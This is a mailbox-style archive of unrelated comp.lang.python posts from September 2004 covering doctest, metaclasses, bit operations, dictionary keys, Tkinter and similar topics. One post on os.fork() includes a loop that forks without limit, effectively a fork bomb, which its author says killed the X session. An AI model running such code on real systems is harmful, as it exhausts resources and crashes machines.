sys.stdout.write() doesn't care if your shell prompt gets mixed in with 
the last line of output.  You'll need to use the latter if that's what 
you want.

exarkun at boson:~$ python -c "import sys; sys.stdout.write('here')"
hereexarkun at boson:~$

   Jp


From michele.simionato at gmail.com  Mon Sep  6 03:38:48 2004
From: michele.simionato at gmail.com (Michele Simionato)
Date: 6 Sep 2004 00:38:48 -0700
Subject: doctest.Tester is deprecated
Message-ID: <4edc17eb.0409052338.69012ee7@posting.google.com>

Some time ago I hacked a custom solution to run doctests
on text files containing documentation. The solution
involved this kind of game:

tester=doctest.Tester(globs={},verbose=1)
tester.runstring(mytest)

It worked fine, but now with Python 2.4.a3 I get

DeprecationWarning: class Tester is deprecated; use class
doctest.DocTestRunner instead
 
The problem is that DocTestRunner is not a replacement for Tester, it
has
no runstring method!

So, how what am I supposed to do?


                   Michele Simionato


From carribeiro at gmail.com  Mon Sep 27 08:59:23 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Mon, 27 Sep 2004 09:59:23 -0300
Subject: Metaclass with name overloading.
In-Reply-To: <tyfekkoeyk2.fsf@pcepsft001.cern.ch>
References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch>
Message-ID: <864d370904092705596edbf327@mail.gmail.com>

On 27 Sep 2004 13:33:33 +0200, Jacek Generowicz
<jacek.generowicz at cern.ch> wrote:
> <snip>
> I would then like the dictionary received by OverloadingClass.__new__
> to look something like this:
> 
> {'att': (1,3),
>  'meth: (<function meth at 0x4018e56c>, <function meth at 0x4018e80c>) }
> 
> IOW, each name bound in the class definition should have associated
> with it, a tuple containing all the objects which were bound to that
> name, rather merely keeping the most recent binding for any given
> name.
> 
> I was wondering whether it would be possible to achieve this by
> forcing Python to use some dicitonary proxy (which accumulates values,
> rather that keeping just the last value to be associated with a key),
> instead of dict, when executing the class definiton?
> 
> Is something like this at all possible in pure Python? or does in
> require fiddling around in the guts of the parser?

No, you can't, and it's not just a parser issue. Python uses direct C
calls to the native dict type. It's hard coded, and I don't see any
obvious or easy way to override it except by rewriting all such code.
The metaclass receives the dictionary after all declarations were
collected, and then it's too late to act upon it.

Now that we're talking about it, I would like to discuss how this type
of hack could possibly be done in a future version of Python (probaly
Python 3.0, I don't think it's anywhere close to possible for Python
2.x).

1) One such idea is to provide the metaclass with a __dict__ factory.
For example:

class MyMetaclass(type):
    def __new__(...):
        ...
    def __dict__(cls):
        return CustomDict()

... where CustomDict is a user-defined mapping type that can store
more information about the entries than the native dict:

-- CustomDict[name] would retrieve a tuple containing all entries, in
reverse order. CustomDict[name][0] would retrieve the last definition.

-- The order of the definitions would be preserved, and the iterators
(iterkeys, iteritems, itervalues) would all iterate over the entries
in the order of the definition.

By using a user-defined dict, we would still use the default dict most
of the time without any noticeable performance hit, but would be able
to change the guts of the class declaration system whenever needed.

2) Another (crazy) idea is to have the possibility to declare
anonymous class members, such as in:

class MyClass:
    """the first anonymous member is the doc string""" 
    """the second anonymous member is __anon__[0]"""
    1.5 # __anon__[1] = 1.5

By anonymous members, I mean anything that is not a def, a nested
class, or a value that wasn't assigned or bound to name. That's would
be nice to have too :-)

-------
p.s. In the particular case of the original poster, I'm wondering what
kind of application did he had in mind. I had similar needs while
studying some alternatives to declare some types of data structure in
Python -- forms, reports, webpages, etc -- stuff where the order of
the entries is potentially as important than the actual member names.
I'm really curious about it...

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From heikowu at ceosg.de  Sun Sep 19 08:19:54 2004
From: heikowu at ceosg.de (Heiko Wundram)
Date: Sun, 19 Sep 2004 14:19:54 +0200
Subject: New Programmer and Python
In-Reply-To: <719qk0pe3q61u3h24pvi0svre02h0qeav8@4ax.com>
References: <_NidnfFXMMGVyNHcRVn-hg@comcast.com>
	<roy-6664E4.12362218092004@reader1.panix.com>
	<719qk0pe3q61u3h24pvi0svre02h0qeav8@4ax.com>
Message-ID: <200409191419.54401.heikowu@ceosg.de>

Am Sonntag, 19. September 2004 08:29 schrieb Andrea Griffini:
> I don't agree that nobody in either camp is ever going to be convinced
> to change their mind.

I don't agree either. I started programming in C, switched to Perl some time 
ago, and then tried Python just for fun. As the story's been told a hundred 
times, I was at first appaled at the lack of block delimiters, but currently 
I wouldn't want to live with them again... It's just a matter of trying it 
out and becoming accustomed to it.

Heiko.


From bradtilley at usa.net  Tue Sep 21 14:15:10 2004
From: bradtilley at usa.net (Brad Tilley)
Date: Tue, 21 Sep 2004 14:15:10 -0400
Subject: class size
Message-ID: <cipr3e$q72$1@solaris.cc.vt.edu>

How large (lines of code) should a class be before one should split it 
into smaller classes? Is there a general rule on this? How many 
functions should a class contain? Are there limits (theoretical or 
practical) that people learning classes should adhere to?


From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom  Thu Sep  2 08:16:54 2004
From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.)
Date: Thu, 2 Sep 2004 14:16:54 +0200
Subject: python.NET vs. IronPython
References: <mailman.2758.1094113688.5135.python-list@python.org>
	<xzh9kwuw4lj8$.18shw4j93827i.dlg@40tude.net>
	<4136fe58$0$285$4d4ebb8e@news.nl.uu.net>
	<VVDZc.72771$1V3.1762544@twister2.libero.it>
Message-ID: <ch77b0$8gj$2@news-reader4.wanadoo.fr>

And for all : partial (not finished)



* sorry for my english *











From cbuffer at NOSPAMrosecott.ukfsn.org  Tue Sep 14 19:31:26 2004
From: cbuffer at NOSPAMrosecott.ukfsn.org (Ken Parkes)
Date: Wed, 15 Sep 2004 00:31:26 +0100
Subject: #comments
References: <pan.2004.09.13.21.27.31.291385@NOSPAMrosecott.ukfsn.org>	<ad052e5c.0409132051.1537e8f9@posting.google.com>
Message-ID: <pan.2004.09.14.23.29.57.27660@NOSPAMrosecott.ukfsn.org>

On Mon, 13 Sep 2004 21:51:17 -0700, Dan Bishop wrote:


> 
> This isn't related to your question, but why are you using two assignment
> statements when one will do?
> 
>    myInput = raw_input("Type something ")


All to do with my background-learning by trial and error.   I was simply
trying various ways of assignment.  When one gets long in the tooth read
stuff tends to evaporate.  Got to Handling Exceptions in van Rossum's
tutorial today and saw the first instance of
	print itemA , itemB
Now I shall not forget and have a mental link with  
	while something : somethingElse 
Two pains for the price of one.

And thanks to Dan Perl; there's a name to conjure with:)

Ken.



From pfortin at pfortin.com  Wed Sep 15 21:20:23 2004
From: pfortin at pfortin.com (Pierre Fortin)
Date: Wed, 15 Sep 2004 21:20:23 -0400
Subject: list/tuple to dict...
References: <20040915163909.4234ce31@gypsy.pfortin.com>
	<cia9if$v1$06$1@news.t-online.com> <mO32d.4796$VV2.1807@trndny06>
Message-ID: <20040915212023.23b6fe0b@gypsy.pfortin.com>

On Wed, 15 Sep 2004 22:58:26 GMT Raymond wrote:

> [Pierre Fortin]
> > > I'm just looking to make my code more readable and
> > > self-documenting...
>   . . .
> > > osstat = todict(os.stat("%s" % path),
> > >                 "mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctim
> > >                 e")
> 
> [Diez B. Roggisch]
> > Use
> >
> > dict(zip(["mode,inode,dev,nlink,uid,gid,size,atime,mtime,ctime"],
> > os.stat("%s" % path)))

What does zip() have to do with this situation...?  


> Why build the dictionary at all.  Use the named attributes provided by
> os.stat:
> 
>        mode = os.stat(f).st_mode
> 
> That should meet the original readability goals.

That'll teach me to use examples that already have named attributes... :^)
I'm looking to do this generically -- ignore the few that do have named
attributes; there are plenty without that I'd like to address...

The goal is to use the dict in string mapping keys as indicated in my
original post.


From robmccrea at spaamadelphiaspremoveam.net  Mon Sep 13 19:58:20 2004
From: robmccrea at spaamadelphiaspremoveam.net (Rob McCrea)
Date: Mon, 13 Sep 2004 19:58:20 -0400
Subject: newbie sending hex values over UDP socket
In-Reply-To: <e2491a75.0409110433.2e9c00c5@posting.google.com>
References: <e2491a75.0409091744.53fab172@posting.google.com>
	<chr22o$7ra$1@news.service.uci.edu>
	<e2491a75.0409100843.79a49a7a@posting.google.com>
	<QYGdnckJ3ukLf9zcRVn-sQ@powergate.ca>
	<e2491a75.0409110433.2e9c00c5@posting.google.com>
Message-ID: <mb2dnVtL1YGUqdvcRVn-tg@adelphia.com>

Bill Seitz wrote:

> Peter Hansen <peter at engcorp.com> wrote in message news:<QYGdnckJ3ukLf9zcRVn-sQ at powergate.ca>...
> 
>>Bill Seitz wrote:
>>
>>>Are you saying I can just do something as simple as
>>>sock.send('ri0')
>>>?
>>
>>Exactly.  That sends three bytes corresponding to the
>>"raw" byte values you showed before.
>>
>>
>>>(This interface is typically used over a modem connection between 2
>>>embedded/hardware devices, if that provides a clue/context. So it's
>>>entirely possible that I've thought the situation was more complicated
>>>than it really is because the other guy is used to dealing with these
>>>low-level devices...)
>>
>>The beauty of Python... makes working with even low-level hardware
>>a pleasure compared to many languages. :-)
>>
>>-Peter
> 
> 
> 
> Excellent - now how about calculating a parity-check byte?

well, I'm new to python, but the language hardly matters here, i believe.

is the parity a bit, a few bits, or a full byte?  granted the bits will 
be stored in a byte, but we need to know exactly, of course.  I believe 
parity usually indicates a single bit (on or off), but I don't trust 
anybody.

I'll mention these hard-coded example, but I wouldn't be at all 
surprised if python has built in bit-methods.

I number the 8 bits in a byte from 7 to 0, where 7 is the high bit.

if I wanted to check the bit number 5 in thatbyte, I would do simply, 
(well, as I said, I'm new, I'm going to use extra parens)

#untested code
     if (thatbyte & (2**5)) == (2**5):
         print 'Bit 5 is on.'
     else:
         print 'Bit 5 is off.'


for more than one bit, say the "first" 3 bits:  7, 6, and 5:

#untested code
     for bit in [7, 6, 5]:
         if (thatbyte & (2**bit)) == (2**bit):
             print 'Bit ' + str(bit) + 'is on.'
         else:
             print 'Bit ' + str(bit) + 'is off.'


Its bit math.
I think those're right.  hope so.

Rob


	






From gjbaker at usa.com  Tue Sep 28 10:47:06 2004
From: gjbaker at usa.com (Greg)
Date: 28 Sep 2004 07:47:06 -0700
Subject: os.system  vs. Py2Exe
References: <81a41dd.0409280200.1a74edd1@posting.google.com>
Message-ID: <77ce170c.0409280647.7e98e76d@posting.google.com>

export at hope.cz (Lad) wrote in message news:<81a41dd.0409280200.1a74edd1 at posting.google.com>...
> I used Py2exe to compile my script( I use XP).
> The compiled script works OK on my XP where Python is installed.
> But when I install the compiled exe to another computer,
>  
> os.system 
> 
> causes the following  error:
> Bad file or command name
> 
> Any help would be appreciated.
> Lad

Did you install the python dll as well?


From PPNTWIMBXFFC at spammotel.com  Thu Sep  9 03:36:04 2004
From: PPNTWIMBXFFC at spammotel.com (Marco Aschwanden)
Date: Thu, 09 Sep 2004 09:36:04 +0200
Subject: What about an EXPLICIT naming scheme for built-ins?
References: <opsdq5katd35jo5o@news.gmane.org>
	<864d370904090413356356d84d@mail.gmail.com>
	<CBB882B2-FF60-11D8-A6A1-000A95EFAE9E@yahoo.com>
	<mailman.2907.1094416926.5135.python-list@python.org>
	<1gjnx6t.1vayevnrckt5yN%aleaxit@yahoo.com>
	<Jvo%c.214562$OR2.9955162@news3.tin.it>
	<mailman.3002.1094600560.5135.python-list@python.org>
	<1gjsc88.1ufkzncvrngdN%aleaxit@yahoo.com>
	<mailman.3032.1094650922.5135.python-list@python.org>
	<1gjt1ki.147l15b1p08xehN%aleaxit@yahoo.com>
	<864d3709040908102310d4d45@mail.gmail.com>
Message-ID: <opsd1t2eb035jo5o@news.gmane.org>

> My proposal is to create a new category in the documentation for all
> *builtin constructors*:
>
> bool(), complex(), dict(), float(), int(), list(), object(), str(), 
> tuple()
>
> All built-in constructors share common behavior -- they return a new
> object of the given type, using the argument as an initializer.
> Reading about how constructors work in general will help one to
> develop a broader, and better, understanding of their real power.

As you said: They are constructors... hence this are all classes (or are 
going to be). According to the Python style-guide they are supposed be 
written with CamelCase. If those would be written as:

Bool(), Complex(), Dict(), Float(), Int(), List(), Object(), Str(), Tuple()

And in the case of sum() we keep it lower-case to indicate an action that 
is taken on the input.

But it should have been File() instead of file()... it would have been 
clear to the programmer that he is dealing with a class and can make (new) 
instances (or derive) from them (in the future maybe)

In the case of file() (which is not preferred over open() and is not a 
synonym - I know). It was a good move to rename open() to file() [open -> 
what?; file --> Aha, we end up having a file-object!] but then it was only 
half the step because File() would have been the right naming choice...

I already proposed that and it turned out that I was a hobgoblin and 
against that you cannot defend yourself. They proposed to create create 
references (Bool = bool, Complex = complex, etc.) if I couldn't live with 
it - well, I struggle but I still live and hope for Python3K. 8o)

Cheers,
Marco





From jmeile at hotmail.com  Tue Sep 21 15:48:32 2004
From: jmeile at hotmail.com (Josef Meile)
Date: Tue, 21 Sep 2004 21:48:32 +0200
Subject: python ides
In-Reply-To: <2rb9iiF16q2g8U1@uni-berlin.de>
References: <cip735$e01$1@sea.gmane.org>
	<mailman.3662.1095789622.5135.python-list@python.org>
	<2rb9iiF16q2g8U1@uni-berlin.de>
Message-ID: <41507c51$1@pfaff2.ethz.ch>

> kevin wrote:
> 
>> Since i saw a post about a troll saying python doesnt have good ides(not
>> true) , i would like to say that python has the best ide ever! and i
> 
> 
> 
> kevin wrote:
> 
>> I am talking about pure functionality we all want, advanced debugging ,
>> inline object information , fast proyect development,etc.
> 
>                                    ^^^^^^^
> 
> julio wrote (in "python is going to die! =)"):
> 
>  > just develop some custom system scripts, but when 90% of the evelopers
>  > need to consider how many developers you will find to start a proyect,
>                                                                 ^^^^^^^
> 
> Of course, the message headers tell us everything we really need to know...
Nice one Sherlock ;-)


From rattan at cps.cmich.edu  Tue Sep 14 16:19:11 2004
From: rattan at cps.cmich.edu (Ishwar Rattan)
Date: 14 Sep 2004 13:19:11 -0700
Subject: os.fork() question?
References: <938a4680.0409131305.2516b461@posting.google.com>
	<mailman.3271.1095110255.5135.python-list@python.org>
Message-ID: <938a4680.0409141219.705ce901@posting.google.com>

Erik Heneryd <erik at heneryd.com> wrote in message news:<mailman.3271.1095110255.5135.python-list at python.org>...
> Ishwar Rattan wrote:
> > Info at http://doc.python.org/ on os.fork() says that
> >   it has 'unix' semantics (on a UNIX box) on return values
> >   child pid in parent, 0 in child, no mention of failure?
> > 
> > So, what does it return on failure? I tried it under Linux
> > with Python-2.3.4, after few thousand forks the system just hangs!
> > (does not return/report fork failure)
> 
> It raises OSError.
> 
> 
> Erik
The following code when executed kills controlling xterm+X-window system,
but the system does not hang.

-ishwar
---
import os, signal, sys, time

def child():
    signal.pause()
    print 'this from child with pid: ', os.getpid()
    sys.exit(2)

def main():
    print 'forking child..'
    while 1:
       try:
           cpid = os.fork()
       except OSError:
           raise 'fork failed..'
       if cpid == 0:
           child()
       else:
           print 'fork success..', cpid
       
main()
-----


From danperl at rogers.com  Tue Sep 28 11:12:49 2004
From: danperl at rogers.com (Dan Perl)
Date: Tue, 28 Sep 2004 11:12:49 -0400
Subject: Problem with a dictionary program....
References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net>
	<2rt8rsF1ej1qmU1@uni-berlin.de>
	<415976d1$0$23090$ba624c82@nntp05.dk.telia.net>
	<10liubfprlt4g9d@corp.supernews.com>
	<41597d62$0$23054$ba624c82@nntp05.dk.telia.net>
Message-ID: <_ISdnWQ35Zzp4sTcRVn-vg@rogers.com>

The keys in your dictionary are numbers and the variable 'character' in your 
program is a character.  That means one is equivalent to a=1, the other one 
is equivalent to a="1".  Either make the keys in the dictionary strings 
(i.e., {"1":"one", ...) or convert 'character' to an integer with int( ).

"Ling Lee" <janimal at mail.trillegaarden.dk> wrote in message 
news:41597d62$0$23054$ba624c82 at nntp05.dk.telia.net...
> So this code should work:
>
> indput = raw_input(" Tell me the number you want to transform to textuel 
> representaion")
> try:
>    indput = str(int(indput))
> except ValueError:
>    print "No, you need to give me an integer."
>
> List = 
> {1:"one",2:"two",3:"three",4:"four",5:"five",6:"six",7:"seven",8:"eight",9:"nine"}
> output = []
> for character in indput:
>  output.append(List[character])
>  print ', '.join(output)
>
> I read it like this first output is an empty list, then for each character 
> in the input it will be run through the "List" and when it find the number 
> it will apend it to the output, and in the last print line it will join 
> the output ( if there has been more than one number) and print it-
>
> But if I run the program and type in the number 34 I get the error:
>
> Traceback (most recent call last):
>  File "C:/Python23/taltilnumre.py", line 10, in -toplevel-
>    output.append(List[character])
> KeyError: '3'
>
> How can that be, it looks right to me ...
>
> Thanks
>
>
> "Jeffrey Froman" <jeffrey at fro.man> wrote in message 
> news:10liubfprlt4g9d at corp.supernews.com...
>> Ling Lee wrote:
>>
>>> After I have gotten the lenght of the string, I will write a loop, that
>>> goes through the dictionary as many times as the lengt of the string, 
>>> and
>>> the gives me the corresponding numbers, the numner 21 would go 2 times
>>> through the loop and give me the output two one.
>>
>> There is no need to count the length. You can iterate over each character 
>> in
>> a Python string (or other object) without first calculating the size of 
>> the
>> loop, like so:
>>
>> output = []
>> for character in indput:
>> output.append(List[character])
>> print ', '.join(output)
>>
>> As Russel pointed out, you'll have to iterate over indput as as a 
>> string --
>> not convert it to an integer first, because you can't iterate over an
>> integer's digits, but you can iterate over a string's characters.
>>
>> Jeffrey
>
> 




From tim.golden at viacom-outdoor.co.uk  Thu Sep 23 04:23:09 2004
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Thu, 23 Sep 2004 09:23:09 +0100
Subject: Access to MS SQL from Linux?
Message-ID: <F1921F85572CB04D9F55B14BDC76B3E4434AA8@iron.ima.umn.edu>

[Joe Wong]

> Hi,

> Is there any Python library for accessing MS SQL server 
> from a Linux machine? Either open source or commerical one will do for me.

(Assuming you have FreeTDS installed: http://www.freetds.org/):

http://www.object-craft.com.au/projects/mssql/

or

http://www.object-craft.com.au/projects/sybase/

will both do the trick.

Or if you have ODBC:

mxODBC: http://www.egenix.com/files/python/mxODBC.html

TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star. The
service is powered by MessageLabs. For more information on a proactive
anti-virus service working around the clock, around the globe, visit:
http://www.star.net.uk
________________________________________________________________________


From carribeiro at gmail.com  Mon Sep  6 09:46:12 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Mon, 6 Sep 2004 10:46:12 -0300
Subject: Question: tools for business apps development
In-Reply-To: <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com>
References: <mailman.2847.1094238878.5135.python-list@python.org>
	<1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com>
Message-ID: <864d370904090606465938fea5@mail.gmail.com>

On Sun, 5 Sep 2004 18:41:03 +0200, Alex Martelli <aleaxit at yahoo.com> wrote:
> OK, but, native to WHAT platform...?  Later you mention it must be all
> done with free tools... Qt on Windows isn't.  QtDesigner is good, but Qt
> only free for (free-software dev't on) Unix/Linux and Mac, not for (any
> kind of dev't on) Windows.

It will run in Windows, but it's supposed to be multiplatform -
whatever it means nowadays :-) My friend is toying with the idea to
turn his company into a full Linux based shop. Unfortunately, it's not
a decision that he can't take alone. For now he already managed to
convince his partners to use OpenOffice for a lot of stuff, but a few
things still are done using MS Office based tools. Some internal apps
use MS Access -- the company is small, so there is no need for SQL
Server. And web-based apps are thought to be limited, not interactive
or responsive enough for the job (the dependence on heavy Javascript
programming doesn't help it either).

So I can't use Qt. I've evaluated some wxWidgets-based tools, but
found them not quite ready for prime time. And I'm not inclined to
study XUL just to do it, but I can change my mind. I don't feel
comfortable to use a browser extension to write a full fledged app --
it may be a prejudice of mine (I don't like browser-based Java apps,
either, although its a completely different beast), and a little
reading may help to dispell it.

If I was running a commercial shop now, I would probably use Delphi.
That's what I used a long time ago, and there is still a sizeable
local community still using it (regardless of Borland's diminishing
market share). I'm still pondering my choices.

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From anon at anon.net  Fri Sep 10 15:51:33 2004
From: anon at anon.net (anon)
Date: Fri, 10 Sep 2004 12:51:33 -0700
Subject: attribute assignment effects all class instances
References: <090920041659242407%anon@anon.net>
	<n482k05n00ecb8ajbgg7gs3g6u8s44sv7b@4ax.com>
Message-ID: <100920041251330709%anon@anon.net>

In article <n482k05n00ecb8ajbgg7gs3g6u8s44sv7b at 4ax.com>, Dennis Lee
Bieber <wlfraed at ix.netcom.com> wrote:

> On Thu, 09 Sep 2004 16:59:24 -0700, anon <anon at anon.net> declaimed the
> following in comp.lang.python:
> 
> 
> > In module node:
> > 
> > class Node:
> > 
> > 
> > 
> > Here's the wierd thing, in another module I have:
> > 
> > node.adjacent[left] = y
> > 
> > where node is an instance of the Node class.  This statement assigns
> 
>  I'd recommend some name changes somewhere... Too many "nodes"
> here...
> 
>  Your "another module" had to have done an "import node" (since
> that is the name you claim at the top). You then had to perform
> something like: "node = node.Node()" to create the instance, but that
> would also supersede the module name node...

Dennis--
I actually imported the module as "from node import *", so I haven't
run into a name conflict (apparently).  Though I see your point for
naming things differently.  

Peter--
Sorry for my miswording of assignment to shared class data.

Everyone--
Thank you very much for your assistance.  I was unaware that the
default arguments were created only once and then reused for each
instance.  The situation makes complete sense now.

--Greg


From just at xs4all.nl  Tue Sep 14 14:23:22 2004
From: just at xs4all.nl (Just)
Date: Tue, 14 Sep 2004 20:23:22 +0200
Subject: My first attempt at subclassing....Gahh!
References: <95c29a5e.0409131910.5c916122@posting.google.com>
	<1gk3kvp.or5xpwtnn7peN%aleaxit@yahoo.com>
	<mailman.3322.1095185945.5135.python-list@python.org>
Message-ID: <just-C5D528.20232114092004@news1.news.xs4all.nl>

In article <mailman.3322.1095185945.5135.python-list at python.org>,
 John Lenton <john at grulic.org.ar> wrote:

> On Tue, Sep 14, 2004 at 10:08:25AM +0200, Alex Martelli wrote:
> > Robin Siebler <robin.siebler at palmsource.com> wrote:
> > 
> > > I want to use filecmp.dircmp, but it only prints to the screen, there
> > > is no way to capture the output.  So I thought that I should simply be
> > 
> > Il prints to sys.stdout, which may be the screen or elsewhere, therefore
> > there IS of course a way to capture the output:
> > 
> > import sys, filecmp, cStringIO
> > 
> > save stdout = sys.stdout
> 
> I believe sys.__stdout__ is there for the purpose of not having to
> 'save' sys.stdout in this way.

Nope, it's there so you can get at the original stdout, which is not 
necessarily the same thing...

Just


From bokr at oz.net  Sun Sep  5 15:35:23 2004
From: bokr at oz.net (Bengt Richter)
Date: 5 Sep 2004 19:35:23 GMT
Subject: Tuple question
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpkf1d5433nmu@news.cisco.com>
	<41374cfb$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpk6kx9433nmu@news.cisco.com>
	<mailman.2775.1094145196.5135.python-list@python.org>
	<donn-8ED685.11274102092004@gnus01.u.washington.edu>
	<1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com>
	<1094359182.57429@yasure>
	<roy-FE1D07.08200705092004@reader1.panix.com>
	<chf1e4$u84$03$1@news.t-online.com>
	<roy-D04C66.10354305092004@reader1.panix.com>
Message-ID: <chfppr$iuv$0$216.39.172.122@theriver.com>

On Sun, 05 Sep 2004 10:35:43 -0400, Roy Smith <roy at panix.com> wrote:

>I asked:
>> How is a class instance's mutability any less of disqualifier for
>> key-ness than a list's mutability?
>
>Benjamin Niemann <pink at odahoda.de> wrote:
>
>> a = [1, 2, 3]
>> b = [1, 2, 3]
>> if a == b:
>> 	print "List equality is based on content"
>
>Tuple (and string) equality is based on content too.  So what?  I can 
>give my data class an __eq__ method, and then my class instance equality 
>would also based on content.
>
>So, to restate my original question, why should my mutable, 
>content-based-eqality class instance be a valid dictionary key, when a 
>list is not?  Which part of a list's behavior makes it inherently 
>unusable as a key?  I'm not asking about design philosophy, I'm asking 
>about observable behavior.

I don't think a list is _inherently_ unusable, but an immutable sequence
is usable in a different way because of what can be assumed.
I suspect it has something to do with optimizing lookup. For immutables,
equal id should mean equal hash and equal value. If id's are not equal,
hashes only need to be computed once for an immutable, since they can
be cached in the immutables's internal representation (trading a little
space for computation time). If hashes are equal but id's are not, you
either have duplicate tuples/immutables or a rare collision. If you are
forced to compare values in the rare-collision case, I guess you are down
to comparing vectors of pointers, and comparison would then be similar
for tuples and lists. Different lengths would be early out non-equal. Etc.

It does seem like you could allow lists as keys, but it would mean
a performance hit when using them, even if you managed to get type-dependent
dispatching in the internal logic for free. You could still cache a list hash
internally, but you would have to invalidate it on list mutation, which would
add cost to mutation. Optimization tradeoffs ripple in surprising ways, and only
pay off if they are good in real usage patterns. Not easy to get right.

As it is, you could take a big hit and subclass dict to fake it, or you could
sublass list to provide tuple-like hashing and comparing ;-)

Regards,
Bengt Richter


From cpl.19.ghum at spamgourmet.com  Tue Sep 28 17:56:44 2004
From: cpl.19.ghum at spamgourmet.com (Harald Massa)
Date: Tue, 28 Sep 2004 21:56:44 +0000 (UTC)
Subject: repeat something in a thread, but stop when the program stops
References: <5db4fffa.0409270551.57a96cda@posting.google.com>
	<mailman.3969.1096301203.5135.python-list@python.org>
	<Xns95725B68F8800cpl19ghumspamgourmet@195.20.224.116>
	<6t1jl0here469htp3ss8un3o1m4fu2645m@4ax.com>
Message-ID: <Xns9572F3A0FD0F5cpl19ghumspamgourmet@195.20.224.116>

Dennis,

>> see my tasktray collecting more and more icons of programs which just
>> do a very tiny amount of work every half a second, and ... as them
>> getting many, the computer begins to feel more sluggish.
>      Is this under Windows?
>      I've never seen Python threads creating icons. 

For sure you have not. It is quite some work to create task-tray icons 
using python. A simple thread hopefully will never do that.

The problem is not that severe than you seem to have got the impression 
from my talks. I just am very housewifely about computer ressources. And 
the programms in the systray are different programs, most not in Python. 
Just used that as an explanation, WHY I am looking at "cycles that get 
wasted waiting for nothing"

Harald


From timothy.grant at gmail.com  Tue Sep 28 12:31:04 2004
From: timothy.grant at gmail.com (Timothy Grant)
Date: Tue, 28 Sep 2004 09:31:04 -0700
Subject: Using python to convert PDF document to MSWord documents
In-Reply-To: <20040928161317.88987.qmail@web8401.mail.in.yahoo.com>
References: <20040928161317.88987.qmail@web8401.mail.in.yahoo.com>
Message-ID: <e775286d040928093168f0f87f@mail.gmail.com>

----- Original Message -----
From: JEET <hjeet_in at yahoo.com>
Date: Tue, 28 Sep 2004 17:13:17 +0100 (BST)
Subject: Using python to convert PDF document to MSWord documents
To: python-list at python.org


 
 
Hello All, 
  
Can anyone please suggest me if  there any python modules available to
convert PDF document to MSWord documents. If not then can you please
suggest how can i acheive this.
  
Many thanks in advance, 
  
Regards 
Deb

======

What you ask is quite difficult. My understanding is that PDF files
are simply Postscript files with some special wrapping. Depending on
the nature of the PDF (is it encrypted, are there other special
provisions?) you may be able to strip the raw text from the file and
create and RTF file from it. However you will lose all formatting in
this case. If the formatting is "standard" across all the PDFs you may
be able to infer from the text something that will allow you to
replace some or all of it.







-- 
Stand Fast,
    tjg.


From abra9823 at mail.usyd.edu.au  Fri Sep 17 11:05:16 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Sat, 18 Sep 2004 01:05:16 +1000
Subject: gui - wait for dialog to close
In-Reply-To: <m3fz5hymj7.fsf@g2ctech.com>
References: <mailman.3442.1095420495.5135.python-list@python.org>
	<m3fz5hymj7.fsf@g2ctech.com>
Message-ID: <1095433515.414afd2c01a92@www-mail.usyd.edu.au>

hi!

i am using Tkinter

cheers


Quoting Jorge Godoy <godoy at ieee.org>:

> Ajay <abra9823 at mail.usyd.edu.au> writes:
>
> > hi!
> >
> > i have an application which requires a username
> > what i am trying to do is when the application runs, a dialog window
> > appears which prompts the user for his name. once thats entered, the
> > dialog box is destroyed, the username stored and the application gui
> is
> > drawn
> >
> > i tried doing this by adding a wait_window call in my application
> GUI's
> > init.
> > the idea was to suspend execution till the username is entered and the
> > dialog box destroyed before continuing.
> >
> > that didn't work
> > how can i do this? i have the option of creating the dialog box and
> when
> > the username is entered then in the function that handles the
> username,
> > create the rest of the GUI. i was wondering if there is any other way
>
> Which of the several toolkits are you using?  In wxPython you can use
> one of the provided dialogs or create a new modal dialog...
>
> --
> Godoy.     <godoy at ieee.org>
> --
> http://mail.python.org/mailman/listinfo/python-list
>


----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From aleaxit at yahoo.com  Wed Sep 29 09:50:47 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 29 Sep 2004 15:50:47 +0200
Subject: all pairs of items in a list without indexing?
References: <mailman.4028.1096403649.5135.python-list@python.org>
	<UZk6d.170834$3l3.71882@attbi_s03>
	<20040928220043.GB11275@unpythonic.net>
	<mailman.4039.1096409369.5135.python-list@python.org>
Message-ID: <1gkvoks.1r0h9pxvanm4vN%aleaxit@yahoo.com>

Steven Bethard <steven.bethard at gmail.com> wrote:

> <jepler <at> unpythonic.net> writes:
> >     def all_pairs(L):
> >         while L:
> >             i = L.pop()
> >             for j in L: yield i, j
> 
> Interesting.  I hadn't thought of this one -- it's not bad other than
> requiring the list copy (since I need to maintain the original list).

If you start with an L=list(L), you can also optionally L.reverse() to
play with the ordering (if significant, issue still not clarified).

Ordering apart, performance is still not quite as good as with the
slicing you consider wasteful, in my measurements.  Remember with the
slicing we got about 1.42e+05 microseconds -- with this approach we see:

kallisti:~/cb alex$ python2.4 timeit.py -s'l=range(333)' -s'
def alp(L):
  L = list(L)
  while L:
    it1 = L.pop()
    for it2 in L: yield it1, it2
' 'list(alp(l))'
10 loops, best of 3: 1.51e+05 usec per loop


Alex


From jmfbahciv at aol.com  Tue Sep 14 06:21:04 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Tue, 14 Sep 04 10:21:04 GMT
Subject: Xah Lee's Unixism
References: <ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
